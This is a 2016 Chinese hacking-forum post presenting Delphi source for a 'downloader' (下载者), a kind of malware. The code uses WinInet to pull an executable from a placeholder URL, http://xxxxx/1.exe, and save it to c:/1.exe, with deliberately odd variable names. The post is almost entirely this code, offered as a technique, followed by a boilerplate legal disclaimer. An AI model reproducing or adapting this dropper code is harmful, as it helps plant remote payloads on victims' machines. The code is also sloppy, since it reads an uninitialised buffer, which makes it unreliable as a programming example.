HanDs
管理员

[Delphi文章] 下载者的新思路 



program Project2;
uses
  windows,
  Wininet,
  SysUtils;
var
File_shangNet, File_XiaNet: string;
//////////////////////////////////////

const BufferSize = 1024;


Pingto_ghoSt1='http://xxxxx/1.exe' ;
  PingFo_WWW1='c:/1.exe';
var
hSession, Foy_WWr: HInternet;
Buffer: array[1..BufferSize] of Byte;
BufferLen: DWORD;
f: File;
Pingto: string;
cmd :array[0..MAX_PATH] of char;
begin
Pingto := ExtractFileName(cmd);  //返回指定文件名与扩展名
hSession := InternetOpen(PChar(Pingto),
INTERNET_OPEN_TYPE_PRECONFIG,
nil, nil, 0);
try
Foy_WWr := InternetOpenURL(hSession,
PChar(Pingto_ghoSt1),
nil,0,0,0);
try
AssignFile(f, PingFo_WWW1);
Rewrite(f,1);
repeat
InternetReadFile(Foy_WWr, @Buffer,
SizeOf(Buffer), BufferLen);
BlockWrite(f, Buffer, BufferLen)
until BufferLen = 0;
CloseFile(f);

finally
InternetCloseHandle(Foy_WWr)
end
finally
InternetCloseHandle(hSession)
end


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
下载 思路
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复